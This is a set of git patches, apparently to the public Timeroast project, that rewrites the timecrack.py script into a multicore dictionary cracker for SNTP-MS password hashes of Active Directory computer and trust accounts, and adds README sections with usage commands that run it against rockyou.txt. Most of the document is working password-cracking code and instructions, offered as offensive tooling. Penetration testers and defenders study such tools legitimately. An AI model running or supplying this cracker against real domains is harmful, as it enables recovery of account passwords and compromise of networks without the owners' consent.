From ea4d061d3bd55a2db93a7d10db449af3b1d4c206 Mon Sep 17 00:00:00 2001 From: Zyad Elsayed <52281871+B4l3rI0n@users.noreply.github.com> Date: Sun, 29 Jun 2025 15:54:42 +0300 Subject: [PATCH 1/3] Update timecrack.py --- extra-scripts/timecrack.py | 114 ++++++++++++++++++------------------- 1 file changed, 57 insertions(+), 57 deletions(-) diff --git a/extra-scripts/timecrack.py b/extra-scripts/timecrack.py index c362e13..facafd8 100755 --- a/extra-scripts/timecrack.py +++ b/extra-scripts/timecrack.py @@ -1,73 +1,73 @@ #!/usr/bin/env python3 -"""Perform a simple dictionary attack against the output of timeroast.py. Neccessary because the NTP 'hash' format -unfortunately does not fit into Hashcat or John right now. - -Not even remotely optimized, but still useful for cracking legacy default passwords (where the password is the computer -name) or specific default passwords that are popular in an organisation. -""" - -from binascii import hexlify, unhexlify -from argparse import ArgumentParser, FileType, RawDescriptionHelpFormatter -from typing import TextIO, Generator, Tuple -import hashlib, sys, re +from binascii import unhexlify +from argparse import ArgumentParser, RawDescriptionHelpFormatter +from multiprocessing import Pool, cpu_count +import hashlib, re, sys HASH_FORMAT = r'^(?P\d+):\$sntp-ms\$(?P[0-9a-f]{32})\$(?P[0-9a-f]{96})$' -def md4(data : bytes) -> bytes: - try: - return hashlib.new('md4', data).digest() - except ValueError: - # Use pure-Python implementation by James Seo in case local OpenSSL does not support MD4. - from md4 import MD4 - return MD4(data).bytes() +def md4(data: bytes) -> bytes: + try: + return hashlib.new('md4', data).digest() + except ValueError: + from md4 import MD4 + return MD4(data).bytes() -def compute_hash(password : str, salt : bytes) -> bytes: - """Compute a legacy NTP authenticator 'hash'.""" - return hashlib.md5(md4(password.encode('utf-16le')) + salt).digest() - +def compute_hash(password: str, salt: bytes) -> bytes: + return hashlib.md5(md4(password.encode('utf-16le')) + salt).digest() + +def crack_one(args): + rid, hashval, salt, password = args + if compute_hash(password, salt) == hashval: + return (rid, password) + return None -def try_crack(hashfile : TextIO, dictfile : TextIO) -> Generator[Tuple[int, str], None, None]: - # Try each dictionary entry for each hash. dictfile is read iteratively while hashes are stored in RAM. - hashes = [] - for line in hashfile: - line = line.strip() - if line: - m = re.match(HASH_FORMAT, line) - if not m: - print(f'ERROR: invalid hash format: {line}', file=sys.stderr) - sys.exit(1) - rid, hashval, salt = m.group('rid', 'hashval', 'salt') - hashes.append((int(rid), unhexlify(hashval), unhexlify(salt))) - - - for password in dictfile: - password = password.strip() - for rid, hashval, salt in hashes: - if compute_hash(password, salt) == hashval: - yield rid, password +def load_hashes(hashfile): + hashes = [] + for line in open(hashfile, 'r'): + line = line.strip() + if line: + m = re.match(HASH_FORMAT, line) + if not m: + print(f'[!] Invalid hash format: {line}', file=sys.stderr) + sys.exit(1) + rid, hashval, salt = m.group('rid', 'hashval', 'salt') + hashes.append((int(rid), unhexlify(hashval), unhexlify(salt))) + return hashes def main(): - argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\ -"""Perform a simple dictionary attack against the output of timeroast.py. + argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description= +"""Multicore-optimized Timeroast cracker. -Not even remotely optimized, but still useful for cracking legacy default -passwords (where the password is the computer name) or specific default -passwords that are popular in an organisation. +Uses multiprocessing to crack legacy SNTP hashes faster by utilizing all CPU cores. """) + argparser.add_argument('hashes', help='File with hashes from timeroast.py') + argparser.add_argument('dictionary', help='Line-delimited password dictionary (rockyou.txt etc.)') + argparser.add_argument('--workers', type=int, default=cpu_count(), help='Number of CPU cores to use') + args = argparser.parse_args() - argparser.add_argument('hashes', type=FileType('r'), help='Output of timeroast.py') - argparser.add_argument('dictionary', type=FileType('r'), help='Line-delimited password dictionary') - args = argparser.parse_args() + hashes = load_hashes(args.hashes) + wordlist = open(args.dictionary, 'r', encoding='latin-1', errors='ignore').read().splitlines() + + crackcount = 0 + found = [] - crackcount = 0 - for rid, password in try_crack(args.hashes, args.dictionary): - print(f'[+] Cracked RID {rid} password: {password}') - crackcount += 1 + with Pool(args.workers) as pool: + for rid, hashval, salt in hashes: + print(f'[+] Cracking RID {rid}...') + jobs = ((rid, hashval, salt, pwd) for pwd in wordlist) + for result in pool.imap_unordered(crack_one, jobs, chunksize=500): + if result: + crackcount += 1 + found.append(result) + print(f'[✓] Cracked RID {result[0]}: {result[1]}') + break # Stop after first match for that hash - print(f'\n{crackcount} passwords recovered.') + print(f'\n[+] Done. {crackcount} password(s) cracked:') + for rid, password in found: + print(f' RID {rid}: {password}') if __name__ == '__main__': - main() - - + main() + From 6da73e81b107300a64b40582e1d84a0da93b078c Mon Sep 17 00:00:00 2001 From: Zyad Elsayed <52281871+B4l3rI0n@users.noreply.github.com> Date: Sun, 29 Jun 2025 15:59:36 +0300 Subject: [PATCH 2/3] Update README.md --- README.md | 43 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/README.md b/README.md index b62c558..3893379 100644 --- a/README.md +++ b/README.md @@ -42,6 +42,7 @@ Computer spraying and Kerberoasting can easily be carried out with existing tool - `extra-scripts/kirbi_to_hashcat.py`: converts a Kerberos ticket (referal/trust, service, ticket-granting, etc.) that is encoded as a base64 KRB_CRED structure into Hashcat format. Hash types 13100, 19600, 19700 (i.e. RC-4 and AES tickets) are supported. +--- Credits ------- @@ -51,3 +52,45 @@ The attack and original script were developed by Tom Tervoort of Secura BV. The Powershell port was contributed by [Jacopo Scannella](https://github.com/antipatico). Special thanks to [Garret Foster](https://www.optiv.com/blog/author/garrett-foster) for pointing out that Timeroasting can also be used to obtain trust account hashes. + +--- + +### 🔧 Enhancements by B4l3rI0n + +Several improvements were made to `extra-scripts/timecrack.py` to significantly improve usability and performance: + +#### ✅ UnicodeDecodeError Fix for rockyou.txt + +The original script crashed when using non-UTF-8 encoded dictionaries such as `rockyou.txt`. +I fixed this by opening the dictionary file using the `latin-1` encoding to support special characters: + +```python +open('rockyou.txt', 'r', encoding='latin-1') +``` + +#### 🚀 Performance Optimization: Multicore Cracking + +The original `timecrack.py` used a naive nested loop, which was very slow for large wordlists. +I rewrote the script to use **Python’s multiprocessing module**, utilizing all available CPU cores to crack hashes in parallel. This dramatically increases performance, especially with large lists like `rockyou.txt`. + +Key features: + +* Parallel cracking of each hash using `multiprocessing.Pool` +* Automatically uses all available cores (`--workers` flag customizable) +* Automatically skips to the next hash once a password match is found + +Usage: + +```bash +python3 timecrack.py hashes.txt /usr/share/wordlists/rockyou.txt +``` + +Or customize CPU cores: + +```bash +python3 timecrack.py hashes.txt /usr/share/wordlists/rockyou.txt --workers 8 +``` + +#### 🧠 Author of Optimizations: + +Contributed by [B4l3rI0n](https://github.com/B4l3rI0n) From a0e3500129b93bbc1bc35636fdeca4763c5caee8 Mon Sep 17 00:00:00 2001 From: Zyad Elsayed <52281871+B4l3rI0n@users.noreply.github.com> Date: Sun, 29 Jun 2025 16:02:57 +0300 Subject: [PATCH 3/3] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 3893379..3d79e62 100644 --- a/README.md +++ b/README.md @@ -90,6 +90,7 @@ Or customize CPU cores: ```bash python3 timecrack.py hashes.txt /usr/share/wordlists/rockyou.txt --workers 8 ``` +![image](https://github.com/user-attachments/assets/fbb58163-61db-4e32-9d23-8c8b3cec5b45) #### 🧠 Author of Optimizations: